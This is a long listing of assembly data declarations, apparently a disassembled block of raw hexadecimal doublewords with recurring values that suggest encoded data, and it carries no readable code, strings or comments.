		dd 71226C46h, 0B7C39854h, 0AA3C3F66h, 218F65E3h, 72223A5Ch
		dd 0FF52AEB9h, 9C83632h, 669C7250h, 0B7C065B9h,	0E39115F0h
		dd 4C57E024h, 554876DFh, 96E59489h, 0C2B54425h,	4AFFC370h
		dd 0FC606F8Bh, 23FF1974h, 0A35F0985h, 0D3898DD7h, 0B418E17Dh
		dd 0F23598F0h, 1519BA34h, 0D503769Fh, 3561A4AFh, 86E3DB12h
		dd 0B41AE13Eh, 0EF3998F0h, 0FAE4F6AFh, 0E4237382h, 99E69AF6h
		dd 26C398F0h, 6FDE1BC8h, 0B7C3995Eh, 5EBC85B2h,	0EA07E292h
		dd 5AE29E4Fh, 0E8467B84h, 72489AD2h, 0B4661B7Bh, 773298F0h
		dd 0DEA4C5F5h, 32907848h, 0A5327623h, 2BC398F0h, 8F2F2BC8h
		dd 0E696329Ah, 7ED72A36h, 7542CB41h, 0D193290Fh, 0B7C39963h
		dd 0BA7CFF2Ah, 0A72D21A0h, 14C398F0h, 5AF1C8D1h, 6205DFAEh
		dd 5CC455F6h, 0C1565227h, 0B472E047h, 0AA7098F0h, 0F93CF7EDh
		dd 0F8AE9AEFh, 9D7D287Eh, 0B629D893h, 0ED0B6ADDh, 8F1DEE70h
		dd 0C533C770h, 0D33487A0h, 51326DC9h, 0ECC398F0h, 19D8CC1Ch
		dd 545A57ABh, 0B41DE149h, 0B58898F0h, 0C37E19F1h, 0F1733E06h
		dd 783E8FC1h, 5504FCFAh, 3290B28Bh, 0B472E168h,	53A698F0h
		dd 5D5EA395h, 0F4C1DA8Bh, 7B7D59EEh, 0F485E8F6h, 0D8A707EAh
		dd 7C409B49h, 0B7C065B9h, 0ADE6BF0h, 0AE9D0A96h, 0B182DEBEh
		dd 0B8BEC598h, 329067CBh, 0B470FE68h, 68CB98F0h, 615EA758h
		dd 0F854D075h, 0E808195h, 6F95458Ch, 0B7C39957h, 7A646459h
		dd 26D68B47h, 9AFEADD6h, 0B7C386DEh, 0C62A5FF0h, 7BF83151h
		dd 0B7C397B9h, 0AA1E36F0h, 0B4C15BC9h, 52396AC8h, 0C505C247h
		dd 0B7C39AB7h, 0BE58F0h, 0F9642539h, 0BCA6C645h, 0D32EA268h
		dd 32939F19h, 119C7319h, 76B6D87Bh, 9B42DCE4h, 0B7C380B9h
		dd 71CEA8F0h, 0F5E393FDh, 0C07AFF48h, 0B58D4BE2h, 0F65422A1h
		dd 204F500Eh, 0E26BFF67h, 1932D7DEh, 8DC9E113h,	4E326B59h
		dd 2FC398F0h, 11C8EE8Fh, 0CDCBB04Fh, 0B3FD12CAh, 3C126698h
		dd 0D608CA58h, 26AF1BEDh, 0B418E0F3h, 519B98F0h, 45D28BAAh
		dd 718A3995h, 0B7C39861h, 5C4DCDE6h, 0E053D93Ah, 0F847DB6h
		dd 2E7A3DD0h, 4E2D5138h, 6FC398F0h, 490F9FD7h, 634C4E8Bh
		dd 0DDD4C7BBh, 0E70CE3CFh, 189ED331h, 0B7C39965h, 2FBE192Ah
		dd 0A1AD0235h, 0A53A8ADEh, 0D7C398F0h, 0F81CFFC7h, 44403C1Ah
		dd 8D4861B2h, 0B461FDF2h, 0BEE398F0h, 5F006187h, 0C1357D17h
		dd 6C0F0F51h, 0B7C3992Dh, 8B92DEDh, 0E35CDA24h,	0A03CBBF9h
		dd 0ED1E3F8Dh, 5C3079EEh, 0B41A147Bh, 0CD9098F0h, 0B7C39965h
		dd 1EA0192Ah, 0ED3804F1h, 41ACC370h, 0FF0704A0h, 0B7C38FB8h
		dd 848C62F0h, 7A66A6DFh, 26B0D87Bh, 0D7A21C3Ah,	0B7C39DB8h
		dd 208448F0h, 0B5B07BBh, 0D74F305Ah, 38D87960h,	0B4631C62h
		dd 0CF4898F0h, 5F409B50h, 3920EB70h, 0B4640062h, 198998F0h
		dd 6FD38917h, 0B7C39957h, 11365362h, 74AF65AEh,	71320C53h
		dd 0B7C3992Ch, 1E0B8FD8h, 6B7FD560h, 0C5EAD0CEh, 6189F048h
		dd 0C2A86078h, 0B7C39BB7h, 376BFF0h, 0B4B94F11h, 0A4D2600h
		dd 0ABDDC771h, 39319DA8h, 269067A1h, 0B7C398F0h, 0B469157Bh
		dd 0C38298F0h, 1FB3D862h, 8600CD87h, 1D49EC70h,	32909CD4h
		dd 7687F168h, 0D387D781h, 9243CE65h, 4C3A951Ch,	5CC398F0h
		dd 6395FA0Ah, 92833642h, 0B7C39CB8h, 23B723F0h,	0E5C73DABh
		dd 815D0AADh, 99A7253h,	423B80BDh, 0B8C398F0h, 2043EC14h
		dd 629AC7ACh, 83A11949h, 0A7872D69h, 0D339F68Bh, 61B96C19h
		dd 32935A86h, 0A64897CBh, 0ED51D270h, 0D489A8DEh, 0ED3AE6AFh
		dd 71B5DFDEh, 0B7C39860h, 3AAD8B9Eh, 22D04BD5h,	0B4BB7273h
		dd 0F8E74A8Eh, 6FAF1850h, 6C381846h, 6F7B05ABh,	0B7C39952h
		dd 2BF906E8h, 0A02F3AE1h, 78EFB9B7h, 1B9342EAh,	0B7C39957h
		dd 0B7C391B8h, 440FBF0h, 0FC2B4C65h, 1FA10F51h,	8481EBBFh
		dd 0B7C068B8h, 0C9CEABF0h, 7221E124h, 0A2BF0A0h, 0E3F704DBh
		dd 0B467EFF8h, 0CB3B98F0h, 5E3B82C4h, 0DDCAA471h, 8E2C52ABh
		dd 0B40D1462h, 6A8998F0h
		dd 712FD1FFh, 0B7C39861h, 928B572Ch, 60A4BCB1h,	48F4865Ch
		dd 9EA9EA57h, 5A5FCE88h, 7E9A673Ch, 0A8A63219h,	0E84D7334h
		dd 4C4171BAh, 5E489B38h, 0B7C063B8h, 51F3BF0h, 92BF947Fh
		dd 0F627C9DCh, 22E0FD2h, 54D5C377h, 2FC68227h, 0C840502Ah
		dd 6CBCCB0Fh, 0B7C39933h, 79AFA4C5h, 0D64E1BFDh, 71289F1Ah
		dd 0B7C3995Eh, 27213FACh, 5965C8D5h, 0D42B8256h, 1CB96D26h
		dd 1C80E6FCh, 0E33991BDh, 559C7334h, 0B7C064B9h, 0E9DD10F0h
		dd 0F2CD76Dh, 8CEB4EDEh, 4F2B6161h, 0FC091FD8h,	34061E93h
		dd 1A83F723h, 854C71EAh, 365B1975h, 1DDBEE29h, 5638C4E7h
		dd 0B0C398F0h, 63DA1FB8h, 0BD64EB4Bh, 4D3272F2h, 0E0C398F0h
		dd 0E555A5FFh, 4BB315BEh, 0E41BB4FEh, 98E29AD2h, 0EDC398F0h
		dd 5B65C670h, 6F100F2Ah, 0B7C39860h, 0DF3FF42Ch, 0BDC19249h
		dd 0D0F0AD00h, 473BACFCh, 0B7C392B9h, 5DC539F0h, 0D51E080Bh
		dd 0B4640062h, 8C4098F0h, 0EDCD122Eh, 27186025h, 0D70B788Eh
		dd 0D3B9790Fh, 0E4BA7616h, 0C355DE70h, 712A979Ch, 0B7C3997Bh
		dd 6EFED762h, 0F023AB4Fh, 7B6F317Ch, 6C7DB2ABh,	0B7C3995Eh
		dd 5C28FC3Eh, 0A07303D5h, 0FE2BDABh, 0F2637E42h, 0B7C392B8h
		dd 0A3E357F0h, 6FF5470Eh, 0B7C39806h, 68DCADB5h, 31AF6760h
		dd 0C1F45h, 1EECDEA9h, 0FC0BB948h, 6C5B3062h, 0B7C39965h
		dd 0CEA099B8h, 0ED191BB9h, 0CB73CF70h, 0B5196929h, 49EE6863h
		dd 6CC398F0h, 0B7C3992Dh, 22EC47F3h, 0A46CB92Fh, 7AB00C0Dh
		dd 0B466E0F8h, 0BE5B98F0h, 0BB705215h, 0FC4272CBh, 4C996827h
		dd 9AC398F0h, 0B7C3944Ah, 749C72F0h, 48C5FC71h,	0A4380C68h
		dd 7FC398F0h, 5A8603Fh,	19E13D24h, 0E2772C38h, 7BBF1498h
		dd 0EDB7307Bh, 199EDADEh, 0B7C398F0h, 0B40D017Bh, 778998F0h
		dd 0A5572804h, 0B7C380B9h, 2E9BB3F0h, 0D823ED0Dh, 0C8DBCAE1h
		dd 6A908743h, 659C792Eh, 0D4C1D370h, 0E246C870h, 0A53A97BAh
		dd 0DDC398F0h, 0B117E5EBh, 7DD7EC17h, 0CB9B22CAh, 0E0AE1945h
		dd 34C45CD9h, 8E2D2C3h,	5F409B97h, 0B7C397B9h, 61FD70F0h
		dd 0ABB44F6Ch, 0E289AD0Eh, 1CEC0A2Ch, 0D1B21C69h, 0C4897D1h
		dd 4E2DDFD7h, 9CC398F0h, 4374A481h, 48DA6AEDh, 15908713h
		dd 9985CD5Eh, 329E325Ah, 7051C1DFh, 0E7C6A396h,	0D5A8D862h
		dd 95273051h, 0B7C39CB8h, 0ADC6EBF0h, 9D5CD7D0h, 2F0E112Fh
		dd 34190F3Eh, 0D60109D0h, 0B464E051h, 963798F0h, 0ED5CA34Dh
		dd 0D42B8ADEh, 0B79EE862h, 513A98F0h, 4EC398F0h, 42114592h
		dd 0B3F55B23h, 0D4AB1E03h, 0EDB60F51h, 6C3205EEh, 0B7C3992Ch
		dd 9485C91Bh, 9A9C786Dh, 0A48A8E71h, 356ACE2Ah,	6D6F0947h
		dd 0B7C39957h, 2AC2C156h, 4D444EFCh, 276C0CC9h,	0B479E17Fh
		dd 0B86A98F0h, 0B4882545h, 0B8D91FC8h, 2127CF4Eh, 0E239EBE3h
		dd 0D5E332B2h, 36121848h, 0B46B197Bh, 4E3B98F0h, 0D8C398F0h
		dd 6C16BF05h, 6C9062BBh, 3F84CA5Ch, 0E247ABEAh,	0D5027919h
		dd 0B7C38FB8h, 2CD85AF0h, 606C4D18h, 19B8A1DEh,	0C2BC25B9h
		dd 75190A27h, 0A2C93D8Ch, 0AA489B50h, 0B41D127Bh, 9A3A98F0h
		dd 0F5C398F0h, 0F0C14AB3h, 0B92589E5h, 0DD28F76Fh, 7180FF79h
		dd 0B7C39861h, 821D4B68h, 7B64B498h, 5742D9BEh,	0F6750F5h
		dd 0B472FDDEh, 1BAA98F0h, 0A20019A2h, 2E2A5ADBh, 0D5F80D85h
		dd 0E08C1764h, 679A71E9h, 6187C8AEh, 4201C746h,	92C398F0h
		dd 707AF774h, 8859E22Ah, 26A30ED2h, 0EDB40F16h,	0D676F770h
		dd 0B41B0162h, 0D19098F0h, 0B7C39963h, 0B81FCE2Ah, 0A710192Ah
		dd 72A6FF37h, 29E35CB3h, 0B4926868h, 68C398F0h,	3348F151h
		dd 9B644CC1h, 449BDD8Bh, 0E9FA3D7h, 1A09192Ah, 659C734Ah
		dd 0EBD5C471h, 54E2959Ah, 9C2C3FB5h, 259ECEDEh,	0B7C39964h
		dd 44E1312Ah, 6C37FADEh, 0B7C39959h, 0EC275C6Dh, 52D5D4C9h
		dd 5C9C720Eh, 503B6E0Eh, 2AC398F0h, 70A67497h, 1D898F58h
		dd 8F99F152h, 0B7C380B8h, 79A6F0h, 0CD5023E4h, 513269FFh
		dd 24C398F0h, 5C3F50EDh, 171833Fh, 0B41AFE9Ch, 3F6798F0h
		dd 0F443C2BAh, 4D28E70Ch, 4A9C72DFh, 0B41AE05Fh, 0F35298F0h
		dd 0FF0BB1FBh, 6E604D4Bh, 0A1216B8Eh, 6FB6C870h, 0B7C39861h
		dd 74F5FB6Ah, 2C121760h, 8A3147B4h, 0C610F474h,	0B41DE0A7h
		dd 0F1FE98F0h, 0A7C20EB3h, 6F777805h, 0B920DA9Ah, 0C2597760h
		dd 0A72864BFh, 119AC083h, 5D7DC550h, 0D9C7251h,	0B7C064B9h
		dd 198DA1F0h, 0FC3AF06Bh, 0DF79947Ch, 0FB0A1C2Bh, 305552C4h
		dd 0AF4DCD8Bh, 19898FEFh, 6CF3478Eh, 0B7C3995Eh, 0F66B5349h
		dd 97B71100h, 6AB82273h, 3290B407h, 5E4097C8h, 0ED13D87Bh
		dd 0A0E38BDEh, 0B04D71A1h, 63BA67AAh, 94106236h, 9AA70F51h
		dd 0B7C391E4h, 4A9A72F0h, 0D387C71Ch, 87B0167Fh, 348203E0h
		dd 26909E25h, 0B7C39958h, 0B4631E7Bh, 0FC3998F0h, 0B7C39DB7h
		dd 0F7DBA5F0h, 0AC205DFEh, 329E3F67h, 4A9A6E1Eh, 0B24A62A0h
		dd 0B40D0F7Bh, 1C8998F0h, 5F1E7207h, 9AA00F2Ah,	533B8B83h
		dd 3DC398F0h, 4B89726Ch, 0FE430E17h, 0ED1E6B88h, 0CA4ADF27h
		dd 0B7C396B7h, 5EC247F0h, 36EB4BA3h, 204EAEEDh,	0AA687F6Dh
		dd 9A750350h, 0B7C393FBh, 5F9C72F0h, 2A07180Eh,	9A130F2Ah
		dd 6A87D68Bh, 1987FF9Eh, 34EA62EFh, 9DAD43AAh, 1149682Dh
		dd 4901D1DEh, 0E5C398F0h, 17ED1032h, 0B2B09FE4h, 0B30FB143h
		dd 0C07AAF00h, 649C7294h, 5C0718ABh, 9AC9D3E2h,	6189D783h
		dd 4D645252h, 0C2828DD7h, 0EDACED28h, 5C57DB70h, 34AF0F2Ah
		dd 8F748412h, 6AA61E72h, 0D9F3B660h, 83A63051h,	3FE8A370h
		dd 22908661h, 0B7C39964h, 5541CB2Ah, 0B460007Bh, 0D61698F0h
		dd 7D9A728Ah, 329079BFh, 164D7340h, 0CA81845h, 34A20F2Ah
		dd 2B241E41h, 991E9B30h, 26C398F0h, 0B479FE69h,	67AE98F0h
		dd 20050C79h, 930BBE0Ah, 6FFF5AF0h, 0D387F5E2h,	0B41AFDC9h
		dd 6F4C98F0h, 898C5AB2h, 98471546h, 0B467E03Eh,	266498F0h
		dd 785E83F4h, 0B468197Bh, 4E3B98F0h, 0B5C398F0h, 674F35D2h
		dd 76541270h, 6C435584h, 0FA62BBCCh, 0C3310492h, 0B4621E62h
		dd 329098F0h, 89825723h, 0D680F00Eh, 0B472E00Fh, 726C98F0h
		dd 84C982A1h, 20AAF546h, 1BBDF697h, 8444CE4Ch, 0D5A8041Fh
		dd 53021951h, 4E327672h, 0CFC398F0h, 732FB3A4h,	4D435EEDh
		dd 0FCAD0AEh, 0DC5E6AC9h, 6DE0334Fh, 0FCFD748Ch, 0B7C064B7h
		dd 690270F0h, 163C8604h, 345D0BE1h, 4C3F4DA0h, 0EB5D07E9h
		dd 559C72ECh, 0B464E042h, 0E94C98F0h, 6F5E31A2h, 0B7C39861h
		dd 6EA47DE6h, 0A1CB7F23h, 1EB7AA21h, 0E2D13B4Fh, 0D7613000h
		dd 699A71D2h, 6350641Eh, 0FACD50BDh, 5E68CA48h,	1989B189h
		dd 0C2BBF9AAh, 0DD28FE70h, 7E493151h, 17490727h, 449C71CFh
		dd 1658C771h, 0ED164F63h, 6940EB70h, 0D7B1D87Bh, 0B7C065B8h
		dd 0BF13D1F0h, 0D669301Bh, 75F54EBCh, 0C6A24DDFh, 0CD9E29CDh
		dd 0B7C398CAh, 0B4691D7Bh, 0C28298F0h, 852CD470h, 0FD9BC3AFh
		dd 0B4641562h, 644098F0h, 0D5DF8E0Fh, 0B7C39BB8h, 0A146C0F0h
		dd 36D3E40Bh, 0A52161CBh, 3E70302Ah, 0B469E862h, 120A98F0h
		dd 0EDAE1BC2h, 7687F6DEh, 739D6EBDh, 51E59C8Bh,	0AA496852h
		dd 0D909192Ah, 0B41CFDB1h, 8F9F98F0h, 0F957EA95h, 73129AAEh
		dd 6C950FD2h, 0B7C3992Dh, 0EFAA9DFDh, 0F46C351Ch, 3B1CF190h
		dd 0B41BE0FBh, 89DD98F0h, 91B92124h, 482C5AC1h,	0B462077Bh
		dd 0D38998F0h, 0DA9188Ah
		dd 4B38D2D7h, 39C398F0h, 0AF308AB0h, 58A65615h,	2DF511F1h
		dd 0A7A24CB2h, 0E778C49Fh, 599C6E67h, 8275C171h, 198984B4h
		dd 0FEF33ED1h, 0E22E1EF3h, 68E9DE70h, 0B7C063B9h, 3B0719F0h
		dd 0FA684A29h, 71093714h, 958B46A8h, 4AFAC3F4h,	0D9A7250h
		dd 70E378A2h, 45E37687h, 129C71A1h, 4613192Ah, 9999682Fh
		dd 0E4C398F0h, 76B97847h, 0D387D2F0h, 59497668h, 6CFAC070h
		dd 0B7C3995Eh, 0C04230B8h, 5C3D384Ah, 7787EC1Ah, 9A01015Bh
		dd 0F1C398F0h, 48B7C2AEh, 0CB1D3D40h, 9C55DF7Dh, 0EA4BED3Dh
		dd 0C1D9DB32h, 6C173062h, 0B7C39957h, 41DD6C75h, 467600C0h
		dd 6CB68AA7h, 0B7C3992Ch, 6011061Eh, 6A06F3BFh,	831DE4D9h
		dd 311E4927h, 684C71F6h, 8317180Fh, 0B4730162h,	4D3B98F0h
		dd 6BC398F0h, 40800337h, 0B71097D0h, 0D6C398F0h, 0B7C38FB8h
		dd 0AB3928F0h, 0BE89C49Bh, 0BAE0DD8Bh, 0B470E107h, 2F2598F0h
		dd 0AD866BC4h, 28035EEh, 855182E9h, 0E276CB69h,	0E488BDEh
		dd 0B99C2250h, 49E29B47h, 6CC398F0h, 0B7C3992Dh, 900476Ah
		dd 72485D2Ah, 1A8FEC03h, 1CB97911h, 4F3A52AEh, 24C398F0h
		dd 9B62D54Fh, 0A72635B9h, 0B7C39A4Ah, 19B978F0h, 35792F3Bh
		dd 0F286B4DFh, 0D3B978A7h, 988D97DFh, 0EDC398F0h, 0D1ABEE70h
		dd 6C110F51h, 0B7C3981Fh, 7F625BDEh, 0F0F1FADEh, 0FBCCDD73h
		dd 19B2296Ah, 5CE65ED0h, 2AF9BE29h, 0B75FE15Fh,	343298F0h
		dd 0EAFE473Ch, 881CB2D0h, 0CC96D55Ah, 0A929E071h, 7DE293DCh
		dd 0FF79F5DDh, 0C4161951h, 6A90788Dh, 0DB4B72C3h, 192875EEh
		dd 0B5B31EB6h, 513B6A08h, 0DDC398F0h, 0FB7264FFh, 0BD6624B5h
		dd 0C49687Bh, 37AB0F0Eh, 4B38C440h, 85C398F0h, 8F48EE3Ch
		dd 450C94C0h, 229AF00Bh, 0C2A1953Fh, 6C4B7B17h,	0B7C3992Dh
		dd 95EE38A1h, 0EA5391E3h, 27AB76CDh, 0B7E69AFFh, 0FDC398F0h
		dd 0B7C065B8h, 0A5602DF0h, 75495C53h, 83713F7Bh, 0EB0D6E1Ch
		dd 192EFF4Eh, 243B762Bh, 67489B1Dh, 0EDA9307Bh,	0F7DDFC70h
		dd 0B4621262h, 774398F0h, 0B99A7367h, 4C01FB11h, 89C398F0h
		dd 0DEB827D2h, 35140B64h, 0C15B307Bh, 0B41AFE67h, 0B6F798F0h
		dd 6026098Bh, 761E9547h, 0D70118DCh, 0B7C38EB7h, 0C020F3F0h
		dd 0CF2B44E1h, 371134EBh, 0A72B07EFh, 0B7C39D70h, 4D9897F0h
		dd 9AC398F0h, 0B7C398ADh, 1F081BF0h, 50FE7DABh,	0F1F35426h
		dd 0B40D1462h, 92E398F0h, 4E327945h, 26C398F0h,	0D707621Dh
		dd 1950E513h, 7A267B83h, 0BB3F0396h, 71507F00h,	0B7C39854h
		dd 565BD61Ah, 528C7BD8h, 4F76F127h, 64CD2980h, 6F661DF0h
		dd 0B479E149h, 687C98F0h, 13DA4A09h, 1FADF1C6h,	0C3F14160h
		dd 19899AC4h, 75D4A120h, 0E287DC58h, 0FB41720Fh, 0B75FE0ACh
		dd 6D9E98F0h, 0EE8160C4h, 6CD76145h, 0AC0A5D38h, 0FF11D862h
		dd 0B472E050h, 5C1398F0h, 0A3D92CEh, 0C771AD41h, 0E334A70h
		dd 223F5AB1h, 654897D3h, 993EFF48h, 6AB960F4h, 513B9FAAh
		dd 0C4C398F0h, 8A4B7407h, 13A2749h, 0FFA70F60h,	35EF1AB2h
		dd 0CC908C08h, 0B7C3992Fh, 6CA70F2Ah, 0B7C39957h, 0D461B9DDh
		dd 7AD946FAh, 6CCC6FB3h, 0B7C39957h, 6069708h, 0CD7E44D5h
		dd 347772D7h, 47E011C8h, 8EC8BAB7h, 0B464E10Fh,	0DB2898F0h
		dd 0C2972B98h, 6C80E7DEh, 0B7C3997Bh, 0B73CC263h, 0E78E3CB9h
		dd 0F13602ECh, 75F25222h, 0FC4A6405h, 0B467E149h, 70DB98F0h
		dd 0DB782704h, 0B71F6834h, 2BC398F0h, 0B79EFDE4h, 204E98F0h
		dd 0AA687F6Dh, 36750350h, 40BC5C24h, 0D19323C6h, 0B7C3992Dh
		dd 0E22B5300h, 0E2535227h, 983B8ADEh, 0E5C398F0h, 68E98E83h
		dd 0E7F3CB2Ah, 9B9A9B48h, 0EDC398F0h, 5F9B9029h, 0B464157Bh
		dd 6A5198F0h, 0D389A02Ch, 0E15B15B1h, 0D3AD1A39h, 0D3B8297Dh
		dd 0D3B97868h, 0CE22319h, 4B326ABDh, 0FCC398F0h, 287CABB8h
		dd 0AED51881h, 9F7A3920h, 0F1A52C5h, 34C92F98h,	0DC18E9EFh
		dd 6AA315F0h, 26CF6EF4h, 0D04D7318h, 0B785E19Eh, 0E5A898F0h
		dd 5BC7BC10h, 0F75A4EA6h, 9A16AB9Ch, 0B7C3944Ah, 164897F0h
		dd 0B4611B7Bh, 229098F0h, 0B7C39956h, 1CB97950h, 0D389932Dh
		dd 2584CBC5h, 7183600Fh, 0B7C39806h, 39CC2F0Fh,	0B9B159CAh
		dd 0F312E14Ah, 2AAC351h, 0A780FB23h, 0B7C386DEh, 0EDA50EF0h
		dd 3556FB70h, 8738302Ah, 0B7C397B8h, 278E72F0h,	80176738h
		dd 8D2CEDC8h, 166580BAh, 0B7C39BB9h, 0F3CF45F0h, 0DBA2A099h
		dd 0CDC93FA2h, 0C88E7929h, 0B470E0D2h, 0F5FA98F0h, 0CEA2DE48h
		dd 1C7A8Dh, 0BC3D0B37h,	37FD016Bh, 0DE005DFh, 3B182407h
		dd 9A13D862h, 0B7C391FBh, 4A9A72F0h, 348374FDh,	0A538E017h
		dd 38C398F0h, 0CE74E0B7h, 1D48A84Ch, 156C1D87h,	0E75578BFh
		dd 0B7C39DB8h, 0DD6A82F0h, 31E5997Fh, 42E920C7h, 340B0F9Ch
		dd 2DF1BE8Ah, 5A9C71E7h, 0B7C38EB8h, 0E6B5C8F0h, 0E93C64E5h
		dd 5D704C75h, 0FA427248h, 0F9A7207h, 77873F3Bh,	42E2416Bh
		dd 0EDB0BBCEh, 0B7C064B7h, 601B2AF0h, 7819872Ch, 4217A668h
		dd 25C31BDh, 0AB342979h, 0B4417206h, 0CC935148h, 0B7C398F0h
		dd 0B7C38EB9h, 375473F0h, 9FAFC492h, 0E79A53CAh, 2F4071A0h
		dd 42B67C2h, 99439B74h,	0D1C398F0h, 0B461FD8Dh,	0D5EA98F0h
		dd 72426B34h, 1A9E03F0h, 0B7C39957h, 7F489B50h,	3DAAD771h
		dd 0D38298CBh, 0ABFF15C9h, 9372C1B7h, 0C1B00F51h, 7136C5DEh
		dd 0B7C39957h, 5E734A32h, 7FD28A13h, 0D53F4032h, 10303151h
		dd 1C2CCB7Ch, 9E568277h, 0B41CE150h, 0DB0398F0h, 794FE71Bh
		dd 0B3460ED6h, 0ED3AC6BDh, 0A7828ADEh, 0B7C391D8h, 2DB9FEF0h
		dd 1A90761Eh, 0B7C398CAh, 0F37ED671h, 0BBE22428h, 0A6B7197Ah
		dd 0A72706FEh, 13E9F68Bh, 6D9A733Dh, 0E85614FCh, 6A9EC8DEh
		dd 4D3A8E2Bh, 0E0C398F0h, 0A68CE0AFh, 92A61BC9h, 0FC120F51h
		dd 0B7850162h, 229098F0h, 0B7C398CAh, 0B469157Bh, 379098F0h
		dd 0B7C39965h, 87B1192Ah, 749C5FDFh, 479A7242h,	1990B394h
		dd 0B7C39964h, 510ACA2Ah, 0B8E9CED7h, 4F4397B9h, 0FEC398F0h
		dd 0A3DDF770h, 0A72A9EDFh, 329ED68Bh, 0B466FE19h, 0AFBF98F0h
		dd 3DC6CF10h, 0B798689Ch, 6CC398F0h, 0B7C3981Fh, 15CE3474h
		dd 9DEAC92Eh, 8AD22AE1h, 0CDC1ED36h, 9ABF76DAh,	0B7C386E4h
		dd 0D1AB01F0h, 0E4ECCC65h, 7D9D6618h, 0B7C063B8h, 4DC2A0F0h
		dd 272B180Bh, 24122963h, 6900B606h, 0D72ED2Eh, 0B464077Bh
		dd 234B98F0h, 0CB615F4Dh, 0B4641462h, 0A73498F0h, 712CD083h
		dd 0B7C39860h, 0CB49B82h, 2F11E2C8h, 1FCA6A4Dh,	2530FD76h
		dd 0B79B6868h, 37C398F0h, 579A7DB7h, 9B93EF5Ch,	4A46CB2Ah
		dd 49FF192Ah, 989A689Dh, 1CC398F0h, 95AA08BAh, 57DE1951h
		dd 71BA78E5h, 0B7C39933h, 0D3CD08B2h, 6F95B913h, 0B7C39860h
		dd 25D4E158h, 0C8C90A72h, 0DA4787Eh, 7FFD783h, 0D65BD070h
		dd 1A93575Fh, 0B7C398F0h, 1CB96A49h, 404388EDh,	679A721Bh
		dd 6A9EF178h, 234C5740h, 0C62452B6h, 3411CFDEh,	89CB1EBEh
		dd 7D9C720Ch, 0B7C399B9h, 5C2525F0h, 0D1887DDh,	0AE950704h
		dd 669ACE66h, 0B7C391B9h, 405277F0h, 34904E98h,	0B7C39952h
		dd 0B7C39DB9h, 4ECC68F0h, 3E8CD8F3h, 67536B64h,	983A97F5h
		dd 33C398F0h, 2651BF24h, 4D439B50h, 9AC398F0h, 0B7C398DEh
		dd 0C2828DF0h, 0CC43CF70h, 16A6192Ah, 594271FDh, 0B418E0E7h
		dd 1B6898F0h, 0F28306DEh, 89B484EAh, 0B7C38EB7h, 38C8B2F0h
		dd 1C2F45B1h, 0D749FDDCh
		dd 0A72A5150h, 0B7C393ADh, 7D4897F0h, 1D4EFCF5h, 0E26C7B80h
		dd 329EDADEh, 918C8h, 0B7C39BB8h, 0E4DD4F0h, 42D0ABEDh
		dd 0EA0F690h, 0FFAAD87Bh, 0C49F195Fh, 0C1CD6BABh, 1987D7DEh
		dd 1C664FD1h, 0B464BC4Ch, 0BA541283h, 0B41B1A7Bh, 983A98F0h
		dd 8BC398F0h, 7F416DD5h, 0B7C399B9h, 0FB882EF0h, 0E76016A9h
		dd 996179C1h, 6A9EE246h, 640015C8h, 6C7ECB19h, 0B7C3995Eh
		dd 83C84627h, 1B396B4h,	0FC08E7C3h, 8F427368h, 9E161848h
		dd 4936FF2Ah, 75562469h, 9E439B47h, 37C398F0h, 71344EB6h
		dd 0B7C3981Fh, 1D76CB62h, 0C6E8C372h, 0CD95F045h, 776F3BE6h
		dd 0CA68A710h, 0B7C391B8h, 7F8309F0h, 72E3492Fh, 9A980669h
		dd 0B7C386E5h, 6CAE1BF0h, 0B7C39860h, 75E44A1Fh, 7E78B396h
		dd 89CA4456h, 5F15753Eh, 419C7250h, 0D40B0F2Ah,	7687A8DEh
		dd 5C8370BFh, 1CE49728h, 329078E8h, 479A733Ah, 5A9AFC42h
		dd 0B4621E7Bh, 0D38998F0h, 4D1097C8h, 34C398F0h, 0EDA4EEB6h
		dd 6A908C06h, 0B472E08Eh, 0E28198F0h, 0E1A825A4h, 3DB5E8BDh
		dd 0D9010B02h, 73871010h, 6829CBCBh, 6C2B6557h,	0B7C39861h
		dd 72EE5FDFh, 7EDE031h,	442E972Eh, 0D372C6C4h, 99926824h
		dd 0D1C398F0h, 144B7868h, 1C92E2A8h, 0F741DB4Fh, 0ED163062h
		dd 0CA36E070h, 6C0B583Dh, 0B7C39965h, 1DF29CB1h, 8255192Fh
		dd 0B4670162h, 59E298F0h, 0A5916F3Ch, 5C828C50h, 119A737Ch
		dd 5A9AC78Eh, 6C296A3Fh, 0B7C39854h, 2F66C0E8h,	0C2430276h
		dd 0B3557DD0h, 0D3759162h, 77B0D2E5h, 0C3BAED70h, 9BE79B48h
		dd 0EDC398F0h, 718C24B2h, 0B7C39854h, 1DBEBEE6h, 693DC783h
		dd 7234D221h, 2091FD87h, 9B3BB626h, 0B472E150h,	0DE8898F0h
		dd 8495B6A6h, 74F6FB2Ah, 22F601C9h, 8AAADAABh, 0B785E10Eh
		dd 0A5F098F0h, 98557186h, 8BDCFD22h, 0A0B5D020h, 0AFA2192Ah
		dd 749A723Eh, 1CB97FE7h, 92542CC5h, 0B7C39CB8h,	168977F0h
		dd 33D87A3Dh, 460E191Dh, 34B71C9Bh, 1BD681B1h, 7D489B31h
		dd 0B7C39AB8h, 0A8336BF0h, 0AE1AE4F1h, 0B75B4DC7h, 0E25096AEh
		dd 8A0CA370h, 9E109B49h, 0EDC398F0h, 0D190BEDEh, 0B7C3992Fh
		dd 0AEBB1F71h, 19871855h, 0ED9E1A21h, 1ED0F370h, 0B464017Bh
		dd 3E7D98F0h, 0A18C5352h, 0B7C396B8h, 0E9F5BFF0h, 4D5E81BFh
		dd 0D59C95DFh, 3DEFD3AAh, 6F1EC6C1h, 0B7C39957h, 0EC0A672Bh
		dd 46779DE0h, 0EDC35E4Eh, 0CA2CBEDEh, 0C4CCDE70h, 8B336BDCh
		dd 608D3151h, 5C836DABh, 5DB5A3D7h, 97EABDEEh, 69489B31h
		dd 0B469017Bh, 199098F0h, 0B7C39956h, 5AE2583Fh, 0D7BA2C62h
		dd 4D9D6867h, 34C398F0h, 27495DC3h, 0B75FE10Bh,	264098F0h
		dd 354B6A1Eh, 3E3CA6h, 9ADC055Bh, 9A2DA5D7h, 0F7C398F0h
		dd 0BF09A0B3h, 0A301DDEFh, 7FD7E1EDh, 4C01CDFDh, 8CC398F0h
		dd 0D71EFA55h, 0A0F05CC9h, 0B7C39BB8h, 9340DCF0h, 41793C87h
		dd 0DACC8EF3h, 0B4691662h, 0C12A98F0h, 0EA34F970h, 1B90615Ch
		dd 0B7C398F1h, 0B466FE7Ch, 403498F0h, 0C171286Eh, 0B75FE110h
		dd 6C7D98F0h, 75807E2Ah, 347AE090h, 0EA9E60FDh,	5D91D6AFh
